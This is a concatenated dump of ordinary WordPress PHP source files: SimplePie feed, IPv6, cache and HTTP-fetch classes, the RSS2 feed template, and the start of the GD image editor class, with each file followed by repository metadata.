(isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure')) { if (isset($enclosure[0]['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0])); if (isset($enclosure[0]['attribs']['']['type'])) { $type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($enclosure[0]['attribs']['']['length'])) { $length = ceil($enclosure[0]['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) { // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } $this->data['enclosures'] = array_values(array_unique($this->data['enclosures'])); } if (!empty($this->data['enclosures'])) { return $this->data['enclosures']; } else { return null; } } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } else { return null; } } /** * Get the longitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } else { return null; } } /** * Get the `<atom:source>` for the item * * @since 1.1 * @return SimplePie_Source|null */ public function get_source() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source')) { return $this->registry->create('Source', array($this, $return[0])); } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Item.php
PHP
asf20
98,299
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Class to validate and to work with IPv6 addresses. * * @package SimplePie * @subpackage HTTP * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/package/Net_IPv6 * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @author Geoffrey Sneddon <geoffers@gmail.com> */ class SimplePie_Net_IPv6 { /** * Uncompresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and expands the '::' to * the required number of zero pieces. * * Example: FF01::101 -> FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @param string $ip An IPv6 address * @return string The uncompressed IPv6 address */ public static function uncompress($ip) { $c1 = -1; $c2 = -1; if (substr_count($ip, '::') === 1) { list($ip1, $ip2) = explode('::', $ip); if ($ip1 === '') { $c1 = -1; } else { $c1 = substr_count($ip1, ':'); } if ($ip2 === '') { $c2 = -1; } else { $c2 = substr_count($ip2, ':'); } if (strpos($ip2, '.') !== false) { $c2++; } // :: if ($c1 === -1 && $c2 === -1) { $ip = '0:0:0:0:0:0:0:0'; } // ::xxx else if ($c1 === -1) { $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } // xxx:: else if ($c2 === -1) { $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } // xxx::xxx else { $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see uncompress() * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } else { return $ip_parts[0]; } } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return array($ipv6_part, $ipv4_part); } else { return array($ip, ''); } } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') return false; // Nor can it be over four characters if (strlen($ipv6_part) > 4) return false; // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') $ipv6_part = '0'; // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) return false; } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) return false; } } return true; } else { return false; } } /** * Checks if the given IP is a valid IPv6 address * * @codeCoverageIgnore * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead * @see check_ipv6 * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function checkIPv6($ip) { return self::check_ipv6($ip); } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Net/IPv6.php
PHP
asf20
7,576
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used to create cache objects * * This class can be overloaded with {@see SimplePie::set_cache_class()}, * although the preferred way is to create your own handler * via {@see register()} * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache { /** * Cache handler classes * * These receive 3 parameters to their constructor, as documented in * {@see register()} * @var array */ protected static $handlers = array( 'mysql' => 'SimplePie_Cache_MySQL', 'memcache' => 'SimplePie_Cache_Memcache', ); /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie_Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param string $extension 'spi' or 'spc' * @return SimplePie_Cache_Base Type of object depends on scheme of `$location` */ public static function get_handler($location, $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new SimplePie_Cache_File($location, $filename, $extension); } /** * Create a new SimplePie_Cache object * * @deprecated Use {@see get_handler} instead */ public function create($location, $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param string $class Name of handler class. Must implement SimplePie_Cache_Base */ public static function register($type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array */ public static function parse_URL($url) { $params = parse_url($url); $params['extras'] = array(); if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache.php
PHP
asf20
4,296
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for fetching remote files and reading local files * * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support * * This class can be overloaded with {@see SimplePie::set_file_class()} * * @package SimplePie * @subpackage HTTP * @todo Move to properly supporting RFC2616 (HTTP/1.1) */ class SimplePie_File { var $url; var $useragent; var $success = true; var $headers = array(); var $body; var $status_code; var $redirects = 0; var $error; var $method = SIMPLEPIE_FILE_SOURCE_NONE; public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) { if (class_exists('idna_convert')) { $idn = new idna_convert(); $parsed = SimplePie_Misc::parse_url($url); $url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->url = $url; $this->useragent = $useragent; if (preg_match('/^http(s)?:\/\//i', $url)) { if ($useragent === null) { $useragent = ini_get('user_agent'); $this->useragent = $useragent; } if (!is_array($headers)) { $headers = array(); } if (!$force_fsockopen && function_exists('curl_exec')) { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL; $fp = curl_init(); $headers2 = array(); foreach ($headers as $key => $value) { $headers2[] = "$key: $value"; } if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>=')) { curl_setopt($fp, CURLOPT_ENCODING, ''); } curl_setopt($fp, CURLOPT_URL, $url); curl_setopt($fp, CURLOPT_HEADER, 1); curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1); curl_setopt($fp, CURLOPT_TIMEOUT, $timeout); curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($fp, CURLOPT_REFERER, $url); curl_setopt($fp, CURLOPT_USERAGENT, $useragent); curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2); if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>=')) { curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects); } $this->headers = curl_exec($fp); if (curl_errno($fp) === 23 || curl_errno($fp) === 61) { curl_setopt($fp, CURLOPT_ENCODING, 'none'); $this->headers = curl_exec($fp); } if (curl_errno($fp)) { $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp); $this->success = false; } else { $info = curl_getinfo($fp); curl_close($fp); $this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1); $this->headers = array_pop($this->headers); $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); } } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN; $url_parts = parse_url($url); $socket_host = $url_parts['host']; if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $socket_host = "ssl://$url_parts[host]"; $url_parts['port'] = 443; } if (!isset($url_parts['port'])) { $url_parts['port'] = 80; } $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout); if (!$fp) { $this->error = 'fsockopen error: ' . $errstr; $this->success = false; } else { stream_set_timeout($fp, $timeout); if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = "$url_parts[path]?$url_parts[query]"; } else { $get = $url_parts['path']; } } else { $get = '/'; } $out = "GET $get HTTP/1.1\r\n"; $out .= "Host: $url_parts[host]\r\n"; $out .= "User-Agent: $useragent\r\n"; if (extension_loaded('zlib')) { $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n"; } if (isset($url_parts['user']) && isset($url_parts['pass'])) { $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n"; } foreach ($headers as $key => $value) { $out .= "$key: $value\r\n"; } $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $info = stream_get_meta_data($fp); $this->headers = ''; while (!$info['eof'] && !$info['timed_out']) { $this->headers .= fread($fp, 1160); $info = stream_get_meta_data($fp); } if (!$info['timed_out']) { $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); } if (isset($this->headers['content-encoding'])) { // Hey, we act dumb elsewhere, so let's do that here too switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) { case 'gzip': case 'x-gzip': $decoder = new SimplePie_gzdecode($this->body); if (!$decoder->parse()) { $this->error = 'Unable to decode HTTP "gzip" stream'; $this->success = false; } else { $this->body = $decoder->data; } break; case 'deflate': if (($decompressed = gzinflate($this->body)) !== false) { $this->body = $decompressed; } else if (($decompressed = gzuncompress($this->body)) !== false) { $this->body = $decompressed; } else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) { $this->body = $decompressed; } else { $this->error = 'Unable to decode HTTP "deflate" stream'; $this->success = false; } break; default: $this->error = 'Unknown content coding'; $this->success = false; } } } } else { $this->error = 'fsocket timed out'; $this->success = false; } fclose($fp); } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS; if (!$this->body = file_get_contents($url)) { $this->error = 'file_get_contents could not read the file'; $this->success = false; } } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/File.php
PHP
asf20
9,678
<?php /** * RSS2 Feed Template for displaying RSS2 Posts feed. * * @package WordPress */ header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); $more = 1; echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" <?php do_action('rss2_ns'); ?> > <channel> <title><?php bloginfo_rss('name'); wp_title_rss(); ?></title> <atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" /> <link><?php bloginfo_rss('url') ?></link> <description><?php bloginfo_rss("description") ?></description> <lastBuildDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate> <language><?php bloginfo_rss( 'language' ); ?></language> <sy:updatePeriod><?php echo apply_filters( 'rss_update_period', 'hourly' ); ?></sy:updatePeriod> <sy:updateFrequency><?php echo apply_filters( 'rss_update_frequency', '1' ); ?></sy:updateFrequency> <?php do_action('rss2_head'); ?> <?php while( have_posts()) : the_post(); ?> <item> <title><?php the_title_rss() ?></title> <link><?php the_permalink_rss() ?></link> <comments><?php comments_link_feed(); ?></comments> <pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?></pubDate> <dc:creator><?php the_author() ?></dc:creator> <?php the_category_rss('rss2') ?> <guid isPermaLink="false"><?php the_guid(); ?></guid> <?php if (get_option('rss_use_excerpt')) : ?> <description><![CDATA[<?php the_excerpt_rss(); ?>]]></description> <?php else : ?> <description><![CDATA[<?php the_excerpt_rss(); ?>]]></description> <?php $content = get_the_content_feed('rss2'); ?> <?php if ( strlen( $content ) > 0 ) : ?> <content:encoded><![CDATA[<?php echo $content; ?>]]></content:encoded> <?php else : ?> <content:encoded><![CDATA[<?php the_excerpt_rss(); ?>]]></content:encoded> <?php endif; ?> <?php endif; ?> <wfw:commentRss><?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?></wfw:commentRss> <slash:comments><?php echo get_comments_number(); ?></slash:comments> <?php rss_enclosure(); ?> <?php do_action('rss2_item'); ?> </item> <?php endwhile; ?> </channel> </rss>
zyblog
trunk/zyblog/wp-includes/feed-rss2.php
PHP
asf20
2,551
<?php /** * WordPress GD Image Editor * * @package WordPress * @subpackage Image_Editor */ /** * WordPress Image Editor Class for Image Manipulation through GD * * @since 3.5.0 * @package WordPress * @subpackage Image_Editor * @uses WP_Image_Editor Extends class */ class WP_Image_Editor_GD extends WP_Image_Editor { protected $image = false; // GD Resource function __destruct() { if ( $this->image ) { // we don't need the original in memory anymore imagedestroy( $this->image ); } } /** * Checks to see if current environment supports GD. * * @since 3.5.0 * @access public * * @return boolean */ public static function test( $args = array() ) { if ( ! extension_loaded('gd') || ! function_exists('gd_info') ) return false; // On some setups GD library does not provide imagerotate() - Ticket #11536 if ( isset( $args['methods'] ) && in_array( 'rotate', $args['methods'] ) && ! function_exists('imagerotate') ){ return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * @access public * * @param string $mime_type * @return boolean */ public static function supports_mime_type( $mime_type ) { $image_types = imagetypes(); switch( $mime_type ) { case 'image/jpeg': return ($image_types & IMG_JPG) != 0; case 'image/png': return ($image_types & IMG_PNG) != 0; case 'image/gif': return ($image_types & IMG_GIF) != 0; } return false; } /** * Loads image from $this->file into new GD Resource. * * @since 3.5.0 * @access protected * * @return boolean|\WP_Error */ public function load() { if ( $this->image ) return true; if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) return new WP_Error( 'error_loading_image', __('File doesn&#8217;t exist?'), $this->file ); // Set artificially high because GD uses uncompressed images in memory @ini_set( 'memory_limit', apply_filters( 'image_memory_limit', WP_MAX_MEMORY_LIMIT ) ); $this->image = @imagecreatefromstring( file_get_contents( $this->file ) ); if ( ! is_resource( $this->image ) ) return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file ); $size = @getimagesize( $this->file ); if ( ! $size ) return new WP_Error( 'invalid_image', __('Could not read image size.'), $this->file ); $this->update_size( $size[0], $size[1] ); $this->mime_type = $size['mime']; return true; } /** * Sets or updates current image size. * * @since 3.5.0 * @access protected * * @param int $width * @param int $height */ protected function update_size( $width = false, $height = false ) { if ( ! $width ) $width = imagesx( $this->image ); if ( ! $height ) $height = imagesy( $this->image ); return parent::update_size( $width, $height ); } /** * Resizes current image. * Wraps _resize, since _resize returns a GD Resource. * * @since 3.5.0 * @access public * * @param int $max_w * @param int $max_h * @param boolean $crop * @return boolean|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) return true; $resized = $this->_resize( $max_w, $max_h, $crop ); if ( is_resource( $resized ) ) { imagedestroy( $this->image ); $this->image = $resized; return true; } elseif ( is_wp_error( $resized ) ) return $resized; return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file ); } protected function _resize( $max_w, $max_h, $crop = false ) { $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions'), $this->file ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; $resized = wp_imagecreatetruecolor( $dst_w, $dst_h ); imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ); if ( is_resource( $resized ) ) { $this->update_size( $dst_w, $dst_h ); return $resized; } return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file ); } /** * Processes current image and saves to disk * multiple sizes from single source. * * @since 3.5.0 * @access public * * @param array $sizes { {'width'=>int, 'height'=>int, 'crop'=>bool}, ... } * @return array */ public function multi_resize( $sizes ) { $metadata = array(); $orig_size = $this->size; foreach ( $sizes as $size => $size_data ) { $image = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if( ! is_wp_error( $image ) ) { $resized = $this->_save( $image ); imagedestroy( $image ); if ( ! is_wp_error( $resized ) && $resized ) { unset( $resized['path'] ); $metadata[$size] = $resized; } } $this->size = $orig_size; } return $metadata; } /** * Crops Image. * * @since 3.5.0 * @access public * * @param string|int $src The source file or Attachment ID. * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param boolean $src_abs Optional. If the source crop points are absolute. * @return boolean|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { // If destination width/height isn't specified, use same as // width/height from source. if ( ! $dst_w ) $dst_w = $src_w; if ( ! $dst_h ) $dst_h = $src_h; $dst = wp_imagecreatetruecolor( $dst_w, $dst_h ); if ( $src_abs ) { 